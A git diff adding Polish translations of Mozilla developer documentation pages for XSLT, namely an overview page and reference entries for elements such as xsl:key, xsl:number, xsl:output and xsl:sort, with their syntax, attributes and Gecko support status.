+</p>{{ languages( { "en": "en/XSLT/include", "es": "es/XSLT/include", "fr": "fr/XSLT/include" } ) }}
diff --git a/files/pl/web/xslt/index.html b/files/pl/web/xslt/index.html
new file mode 100644
index 0000000000..48711eb601
--- /dev/null
+++ b/files/pl/web/xslt/index.html
@@ -0,0 +1,19 @@
+---
+title: XSLT
+slug: Web/XSLT
+tags:
+ - Wszystkie_kategorie
+ - XSLT
+translation_of: Web/XSLT
+---
+<p> </p>
+<div>
+<p><strong>Transformacje XSL (XSLT)</strong> jest opartym na <a href="/pl/XML" title="pl/XML">XML</a>-u językiem używanym, w połączeniu ze specjalnym oprogramowaniem przetwarzającym, do transformowania dokumentów XML. Mimo że proces jest określany jako „transformacja”, oryginalny dokument nie zostaje zmieniony; zamiast tego stworzony zostaje nowy dokument XML na bazie treści poprzedniego. Następnie nowy dokument może być serializowany (wyjście) przez procesor do postaci XML lub innego formatu, takiego jak <a href="/pl/HTML" title="pl/HTML">HTML</a> lub czysty tekst. XSLT jest zazwyczaj używany do konwertowania danych między różnymi schematami XML oraz do konwertowania danych XML w strony internetowe oraz dokumenty PDF. {{ Ref("one") }}</p>
+</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja"><a href="/Special:Tags?tag=XSLT&amp;language=pl" title="Special:Tags?tag=XSLT&amp;language=pl">Dokumentacja</a></h4> <dl> <dt><a href="/pl/XSLT/Elementy" title="pl/XSLT/Elementy">Dokumentacja elementów XSLT</a></dt> </dl> <dl> <dt><a class="external" href="http://www.mozilla.org/projects/xslt/js-interface.html">Using the Mozilla JavaScript interface to XSL Transformations</a></dt> <dd><small>...</small></dd> </dl> <dl> <dt><a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">Przewodnik XSLT &amp; XPath</a></dt> <dd><small>The TopXML XSLT tutorial introduces you to the basics of XSLT concepts, syntax, and programming.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.w3schools.com/xsl/">Przewodnik XSLT</a></dt> <dd><small>Przewodnik <a class="external" href="http://www.w3schools.com">W3Schools</a> uczący jak użyć XSLT do transformacji dokumentów XML do innych formatów, takich jak XHTML.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">Czym jest XSLT?</a></dt> <dd><small>This extensive introduction to XSLT and XPath assumes no prior knowledge of the technologies, and guides the reader through background, context, structure, concepts and introductory terminology.</small></dd> </dl> <p><span><a href="/Special:Tags?tag=XSLT&amp;language=pl" title="Special:Tags?tag=XSLT&amp;language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4> <ul> <li>Obejrzyj fora Mozilli...</li> </ul> <p>{{ DiscussionList("dev-tech-xslt", "mozilla.dev.tech.xslt") }}</p> <h4 id="Powi.C4.85zane_tematy">Powiązane tematy</h4> <dl> <dd><a href="/pl/XML" title="pl/XML">XML</a>, <a href="/pl/XPath" title="pl/XPath">XPath</a></dd> </dl> <p> </p> </td> </tr> </tbody>
+</table>
+<p><small> {{ Note("one") }} Ten opis XSLT został wzięty z <a class="external" href="http://pl.wikipedia.org/wiki/XSLT">Artykuł w Wikipedii o XSLT</a>. </small></p>
+<p><span>Categories</span></p>
+<p><span>Interwiki Language Links</span></p>
+<p> </p>
+<p>{{ languages( { "en": "en/XSLT", "es": "es/XSLT", "fr": "fr/XSLT", "it": "it/XSLT", "ja": "ja/XSLT", "ko": "ko/XSLT", "pt": "pt/XSLT" } ) }}</p>
diff --git a/files/pl/web/xslt/key/index.html b/files/pl/web/xslt/key/index.html
new file mode 100644
index 0000000000..77b5245afd
--- /dev/null
+++ b/files/pl/web/xslt/key/index.html
@@ -0,0 +1,36 @@
+---
+title: key
+slug: Web/XSLT/key
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/key
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:key&gt;</code> deklaruje nazwę klucza, który możemy zastosować gdziekolwiek w arkuszu stylów z funkcją <code>key( )</code>.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:key name=NAZWA match=WYRAZENIE use=WYRAZENIE /&gt; </pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>name</code>
+</dt><dd>Określa nazwę klucza. Musi być poprawną wartością QName.
+</dd><dt><code>match</code>
+</dt><dd>Określa węzły, do których odnosi się klucz.
+</dd><dt><code>use</code>
+</dt><dd>Określa wyrażenie XPath wykorzystywane do ustalenia wartości klucza dla każdego z węzłów.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu, musi być dzieckiem <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 12.2.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/key", "es": "es/XSLT/key", "fr": "fr/XSLT/key" } ) }}
diff --git a/files/pl/web/xslt/message/index.html b/files/pl/web/xslt/message/index.html
new file mode 100644
index 0000000000..38ea60cd32
--- /dev/null
+++ b/files/pl/web/xslt/message/index.html
@@ -0,0 +1,31 @@
+---
+title: message
+slug: Web/XSLT/message
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/message
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:message&gt;</code> zwraca komunikat (do konsoli JavaScript Console w NS) i opcjonalnie przerywa wykonywanie arkusza stylów. Może się okazać przydatny podczas debugowania.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:message terminate="yes" | "no" &gt;
+ SZABLON
+&lt;/xsl:message&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>terminate</code>
+</dt><dd>Z wartością "<code>yes</code>" wskazuje, że wykonywanie powinno zostać przerwane. Domyślną wartością jest "<code>no</code>", w przypadku której zostaje zwrócony komunikat, a wykonywanie jest kontynuowane. </dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 13.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/message", "es": "es/XSLT/message", "fr": "fr/XSLT/message" } ) }}
diff --git a/files/pl/web/xslt/namespace-alias/index.html b/files/pl/web/xslt/namespace-alias/index.html
new file mode 100644
index 0000000000..9ed3b83f10
--- /dev/null
+++ b/files/pl/web/xslt/namespace-alias/index.html
@@ -0,0 +1,33 @@
+---
+title: namespace-alias
+slug: Web/XSLT/namespace-alias
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/namespace-alias
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:namespace-alias&gt;</code> jest rzadko używanym narzędziem, które mapuje przestrzeń nazw w arkuszu stylów do innej przestrzeni nazw w drzewie wyjściowym. Najczęstszym zastosowaniem tego elementu jest generowanie arkusza stylów z innego arkusza. Aby zapobiec elementowi wyniku literałowego (LRE) z prefiksem <code>xsl:</code> przez byciem źle zrozumianym przez procesor (element ten powinien być po prostu skopiowany tak jak jest do drzewa wynikowego), jest on przypisywany do tymczasowej przestrzeni nazw, która jest odpowiednio przekonwertowana do przestrzeni nazw XSLT w drzewie wyjściowym.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:namespace-alias stylesheet-prefix=NAZWA result-prefix=NAZWA /&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>stylesheet-prefix</code>
+</dt><dd>Określa tymczasową przestrzeń nazw.
+</dd><dt><code>result-prefix</code>
+</dt><dd>Określa pożądaną przestrzeń nazw dla drzewa wyjściowego.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu, musi być dzieckiem <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 7.1.1
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>W chwili obecnej nie obsługuje.
+</p>{{ languages( { "en": "en/XSLT/namespace-alias", "es": "es/XSLT/namespace-alias", "fr": "fr/XSLT/namespace-alias" } ) }}
diff --git a/files/pl/web/xslt/number/index.html b/files/pl/web/xslt/number/index.html
new file mode 100644
index 0000000000..e54b37df37
--- /dev/null
+++ b/files/pl/web/xslt/number/index.html
@@ -0,0 +1,98 @@
+---
+title: number
+slug: Web/XSLT/number
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/number
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:number&gt;</code> zlicza wszystko sekwencyjnie. Może być również zastosowany do szybkiego formatowania liczb. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:number
+ count=WYRAŻENIE
+ level="single" | "multiple" | "any"
+ from=WYRAŻENIE
+ value=WYRAŻENIE
+ format=ŁAŃCUCH_ZNAKÓW_FORMATU
+ lang=XML:LANG-CODE
+ letter-value="alphabetic" | "traditional"
+ grouping-separator=SYMBOL
+ grouping-size=LICZBA /&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>count</code>
+</dt><dd>Określa co w drzewie źródłowym powinno zostać zliczone sekwencyjnie. Atrybut używa wyrażenia XPath.
+</dd></dl>
+<dl><dt><code>level</code>
+</dt><dd>Określa w jaki sposób poziomy drzewa źródłowego powinny być traktowane w generowaniu liczb sekwencyjnych. Atrybut posiada trzy prawidłowe wartości: <code>single</code>, <code>multiple</code> i <code>any</code>. Domyślną wartością jest <code>single</code>:
+</dd></dl>
+<dl><dd><dl><dt><code>single</code>
+</dt><dd>Zlicza węzły-rodzeństwo sekwencyjnie tak, jak pozycje na liście. Procesor idzie do pierwszego węzła w osi <a href="pl/XPath/Osie/ancestor-or-self"><code>ancestor-or-self</code></a>, który pasuje do atrybutu <code>count</code> i zlicza ten węzeł wraz z całym poprzedzającym go rodzeństwem (zatrzymując się po osiągnięciu odpowiednika atrybutu <code>from</code>, jeśli jakikolwiek istnieje), które również pasuje do atrybutu <code>count</code>. Jeśli nie znaleziono odpowiednich węzłów, sekwencja będzie pustą listą.
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt><code>multiple</code>
+</dt><dd>Zlicza węzły jako złożoną sekwencję, która odzwierciedla hierarchiczną pozycję węzła np. 1.2.2.5 (za pomocą atrybutu <code>format</code> można określić zagnieżdżony format np. A.1.1). Procesor patrzy na wszystkich <a href="pl/XPath/Osie/ancestor">przodków</a> obecnego węzła i na sam węzeł, zatrzymując się po osiągnięciu odpowiednika atrybutu <code>from</code>, jeśli jakikolwiek istnieje. Dla każdego węzła na tej liście, który pasuje do atrybutu <code>count</code>, procesor zlicza ile poprzedzającego (i pasującego) rodzeństwa posiada on dodając również jeden dla samego węzła. Jeśli nie znaleziono odpowiednich elementów, sekwencja będzie pustą listą.
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt><code>any</code> (Obecnie nieobsługiwany)
+</dt><dd>Zlicza wszystkie pasujące węzły sekwencyjnie, niezależnie od ich poziomu. Brane są pod uwagę wszystkie osie <a href="pl/XPath/Osie/ancestor"><code>ancestor</code></a>, <a href="pl/XPath/Osie/self"><code>self</code></a> i <a href="pl/XPath/Osie/preceding"><code>preceding</code></a>. Procesor zaczyna od aktualnego węzła kontynuując w odwrotnym kierunku dokumentu, zatrzymując się po osiągnięciu odpowiednika atrybutu <code>from</code>. Jeśli nie znaleziono węzłów pasujących do atrybutu <code>count</code>, sekwencja będzie pustą listą. Ten poziom nie jest obecnie.
+</dd></dl>
+</dd></dl>
+<dl><dt>from
+</dt><dd>Określa gdzie powinno rozpocząć się zliczanie. Sekwencja rozpoczyna się od pierwszego potomka węzła pasującego do atrybutu <code>from</code>.
+</dd></dl>
+<dl><dt>value
+</dt><dd>Stosuje podany format do liczby. Jest to szybki sposób na formatowanie liczb dostarczonych przez użytkownika (w przeciwieństwie do liczby sekwencyjnej węzła) w dowolnym ze standardowych formatów <code>&lt;xsl:number&gt;</code>.
+</dd></dl>
+<dl><dt>format
+</dt><dd>Definiuje format generowanych liczb:
+</dd></dl>
+<dl><dd><dl><dt>format="1"
+</dt><dd> &lt;tt&gt;1 2 3 . . .&lt;/tt&gt; (Jest to jedyny obsługiwany obecnie format)
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt>format="01"
+</dt><dd> &lt;tt&gt;01 02 03 . . . 09 10 11 . . .&lt;/tt&gt;
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt>format="a"
+</dt><dd> &lt;tt&gt;a b c . . .y z aa ab . . .&lt;/tt&gt;
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt>format="A"
+</dt><dd> &lt;tt&gt;A B C . . . Y Z AA AB . . .&lt;/tt&gt;
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt>format="i"
+</dt><dd> &lt;tt&gt;i ii iii iv v . . .&lt;/tt&gt;
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dt>format="I"
+</dt><dd> &lt;tt&gt;I II III IV V . . .&lt;/tt&gt;
+</dd></dl>
+</dd></dl>
+<dl><dt>lang (Obecnie nieobsługiwany)
+</dt><dd>Określa język, którego alfabet będzie stosowaniu w formatowaniu liczb opartym o litery.
+</dd></dl>
+<dl><dt>letter-value
+</dt><dd>Wprowadza ujednoznacznienie między sekwencjami liczbowymi, które używają liter. Niektóre języki posiadają więcej niż jeden system liczbowy używający liter. Jeśli obydwa systemy zaczynają się tym samym znakiem, mogą powstać niejasności. Atrybut ten może posiadać wartość "<code>alphabetic</code>" (alfabetycznie) lub "<code>traditional</code>" (tradycyjnie). Domyślną wartością jest "<code>alphabetic</code>".
+</dd></dl>
+<dl><dt>grouping-separator
+</dt><dd>Określa symbol jaki powinien zostać użyty jako separator grup. Domyślnym symbolem jest przecinek (<code>,</code>).
+</dd></dl>
+<dl><dt>grouping-size
+</dt><dd>Wskazuje liczbę cyfr, z których składa się grupa numeryczna. Domyślną wartością jest "<code>3</code>".
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 7.7
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Częściowo obsługuje. Zobacz powyższe komentarze.
+</p>{{ languages( { "en": "en/XSLT/number", "es": "es/XSLT/number", "fr": "fr/XSLT/number" } ) }}
diff --git a/files/pl/web/xslt/otherwise/index.html b/files/pl/web/xslt/otherwise/index.html
new file mode 100644
index 0000000000..7b3a02ace5
--- /dev/null
+++ b/files/pl/web/xslt/otherwise/index.html
@@ -0,0 +1,32 @@
+---
+title: otherwise
+slug: Web/XSLT/otherwise
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/otherwise
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:otherwise&gt;</code> jest używany do zdefiniowania czynności, która jest wykonywana, gdy żaden z warunków <code>&lt;xsl:when&gt;</code> nie ma zastosowania. Element jest podobny do instrukcji <code>else</code> lub <code>default</code> znanej z innych języków programowania.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:otherwise&gt;
+ SZABLON
+&lt;/xsl:otherwise&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Podinstrukcja, musi pojawić się wewnątrz szablonu jako ostatnie dziecko elementu <code>&lt;xsl:choose&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 9.2
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/otherwise", "es": "es/XSLT/otherwise", "fr": "fr/XSLT/otherwise" } ) }}
diff --git a/files/pl/web/xslt/output/index.html b/files/pl/web/xslt/output/index.html
new file mode 100644
index 0000000000..44a63ffdb7
--- /dev/null
+++ b/files/pl/web/xslt/output/index.html
@@ -0,0 +1,63 @@
+---
+title: output
+slug: Web/XSLT/output
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/output
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:output&gt;</code> kontroluje charakterystyki dokumentu wyjściowego. Aby funkcjonować poprawnie w Netscapie, element musi być użyty z atrybutem method. Od wersji 7.0 <code>method="text"</code> działa prawidłowo.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:output
+ method="xml" | "html" | "text"
+ version=LANCUCH-ZNAKOW
+ encoding=LANCUCH-ZNAKOW
+ omit-xml-declaration="yes" | "no"
+ standalone="yes" | "no"
+ doctype-public=LANCUCH-ZNAKOW
+ doctype-system=LANCUCH-ZNAKOW
+ cdata-section-elements=LISTA-NAZW
+ indent="yes" | "no"
+ media-type=LANCUCH-ZNAKOW /&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>method</code> </dt><dd> Określa format wyjściowy.
+</dd></dl>
+<dl><dt><code>version</code> </dt><dd> Określa wartość atrybutu wersji deklaracji XML lub HTML w dokumencie wyjściowym. Można go używać wyłącznie z <code>method="html"</code> lub <code>method="xml"</code>.
+</dd></dl>
+<dl><dt><code>encoding</code>
+</dt><dd>Określa wartość atrybutu kodowania <code>encoding</code> w dokumencie wyjściowym.
+</dd></dl>
+<dl><dt><code>omit-xml-declaration</code>
+</dt><dd>Wskazuje czy dołączyć do wyjścia deklarację XML. Dozwolone wartości to "<code>yes</code>" lub "<code>no</code>".
+</dd></dl>
+<dl><dt><code>standalone</code> (Niewspierane)
+</dt><dd>Jeśli obecny wskazuje, że samodzielna deklaracja powinna pojawić się dokumencie wyjściowym; wskazuje również jej wartość. Dozwolone wartości to "yes" lub "no".
+</dd></dl>
+<dl><dt><code>doctype-public</code>
+</dt><dd>Określa wartość atrybutu <code>PUBLIC</code> deklaracji <code>DOCTYPE</code> w dokumencie wyjściowym.
+</dd></dl>
+<dl><dt><code>doctype-system</code> </dt><dd> Określa wartość atrybutu <code>SYSTEM</code> deklaracji <code>DOCTYPE</code> w dokumencie wyjściowym.
+</dd></dl>
+<dl><dt><code>cdata-section-elements</code> </dt><dd> Wypisuje elementy, których treść tekstowa powinna być zapisana jako sekcje <code>CDATA</code>. Elementy powinny być oddzielone za pomocą białych znaków.
+</dd></dl>
+<dl><dt><code>indent</code> (Niewspierane)
+</dt><dd>Określa czy wyjście powinno zostać wcięte, aby ukazać jego hierarchiczną strukturę.
+</dd></dl>
+<dl><dt><code>media-type</code> (Nieobsługiwany) </dt><dd> Określa typ MIME dokumentu wyjściowego.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu, musi być dzieckiem <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 16.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Częściowo obsługuje. Zobacz powyższe komentarze.
+</p>{{ languages( { "en": "en/XSLT/output", "fr": "fr/XSLT/output" } ) }}
diff --git a/files/pl/web/xslt/param/index.html b/files/pl/web/xslt/param/index.html
new file mode 100644
index 0000000000..43eead74c1
--- /dev/null
+++ b/files/pl/web/xslt/param/index.html
@@ -0,0 +1,34 @@
+---
+title: param
+slug: Web/XSLT/param
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/param
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:param&gt;</code> ustala parametr przez nazwę i (opcjonalnie) przez domyślną wartość dla tego parametru. Jeśli użyty jako element najwyższego poziomu, parametr jest globalny. Jeśli użyty wewnątrz elementu <code>&lt;xsl:template&gt;</code>, parametr jest lokalny dla tego szablonu. W takim przypadku musi być on pierwszym elementem-dzieckiem szablonu.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:param name=NAZWA select=WYRAZENIE
+ SZABLON
+&lt;/xsl:param&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>name</code>
+</dt><dd>Nazywa parametr. Musi być poprawną wartością QName.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>select</code>
+</dt><dd>Używa wyrażenia XPath, aby dostarczyć domyślną wartość, gdy żadna nie została określona.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, może pojawić się jako element najwyższego poziomu lub wewnątrz szablonu.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 11.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/param", "fr": "fr/XSLT/param" } ) }}
diff --git a/files/pl/web/xslt/preserve-space/index.html b/files/pl/web/xslt/preserve-space/index.html
new file mode 100644
index 0000000000..962f299793
--- /dev/null
+++ b/files/pl/web/xslt/preserve-space/index.html
@@ -0,0 +1,31 @@
+---
+title: preserve-space
+slug: Web/XSLT/preserve-space
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/preserve-space
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:preserve-space&gt;</code> definiuje elementy w dokumencie źródłowym, dla których białe znaki (whitespace) powinny zostać zachowane. Jeśli elementów jest więcej niż tylko jeden, oddziel ich nazwy używając jednego z białych znaków. Pozostawienie białych znaków jest ustawieniem domyślnym, dlatego ten element musi być użyty tylko jako przeciwdziałanie elementowi <code>&lt;xsl:strip-space&gt;</code>.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:preserve-space elements=LISTA-NAZW /&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>elements</code>
+</dt><dd>Określa elementy, dla których białe znaki mają zostać zachowane.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu, musi być dzieckiem <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 3.4
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/preserve-space", "fr": "fr/XSLT/preserve-space" } ) }}
diff --git a/files/pl/web/xslt/processing-instruction/index.html b/files/pl/web/xslt/processing-instruction/index.html
new file mode 100644
index 0000000000..4f1e67f565
--- /dev/null
+++ b/files/pl/web/xslt/processing-instruction/index.html
@@ -0,0 +1,33 @@
+---
+title: processing-instruction
+slug: Web/XSLT/processing-instruction
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/processing-instruction
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:processing-instruction&gt;</code> zapisuje instrukcję przetwarzania do dokumentu wyjściowego.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<p><code>&lt;xsl:processing-instruction name=NAZWA&gt; SZABLON
+&lt;/xsl:processing-instruction&gt;</code> </p>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>name</code>
+</dt><dd>Określa nazwę instrukcji przetwarzania.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 7.3
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/processing-instruction", "fr": "fr/XSLT/processing-instruction" } ) }}
diff --git a/files/pl/web/xslt/sort/index.html b/files/pl/web/xslt/sort/index.html
new file mode 100644
index 0000000000..9a6ab04701
--- /dev/null
+++ b/files/pl/web/xslt/sort/index.html
@@ -0,0 +1,49 @@
+---
+title: sort
+slug: Web/XSLT/sort
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/sort
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:sort&gt;</code> definiuje klucz sortowania dla węzłów wybranych przez <code>&lt;xsl:apply-templates&gt;</code> lub <code>&lt;xsl:for-each&gt;</code> i określa kolejność, w jakiej mają być one przetwarzane.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:sort
+ select=WYRAZENIE
+ order="ascending" | "descending"
+ case-order="upper-first"| "lower-first"
+ lang=XML:KOD-JEZYKA
+ data-type="text" | "number" /&gt; </pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>select</code>
+</dt><dd>Używa wyrażenia XPath do określenia węzłów, które mają zostać posortowane.
+</dd></dl>
+<dl><dt><code>order</code>
+</dt><dd>Określa czy węzły mają być przetwarzane w kolejności "<code>ascending</code>" (rosnącej) lub "<code>descending</code>" (malejącej). Wartością domyślną jest "<code>ascending</code>".
+</dd></dl>
+<dl><dt><code>case-order</code>
+</dt><dd>Wskazuje, które z liter (małe czy duże) mają być uporządkowane jako pierwsze. Dostępnymi wartościami są "<code>upper-first</code>" (najpierw duże) i "<code>lower-first</code>" (najpierw małe).
+</dd></dl>
+<dl><dt><code>lang</code>
+</dt><dd>Określa, który język ma zostać użyty przez sortowanie.
+</dd></dl>
+<dl><dt><code>data-type</code>
+</dt><dd>Definiuje czy pozycje mają być uporządkowane alfabetycznie czy numerycznie. Dostępnymi wartościami są "<code>text</code>" (alfabetycznie) i "<code>number</code>" (numerycznie) z "<code>text</code>" jako wartością domyślną.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Podinstrukcja, zawsze pojawia się jako dziecko &lt;xsl:for-each&gt; (gdzie musi się pojawić przed szablonem) lub &lt;xsl:apply-templates&gt;.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 10.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/sort", "fr": "fr/XSLT/sort" } ) }}
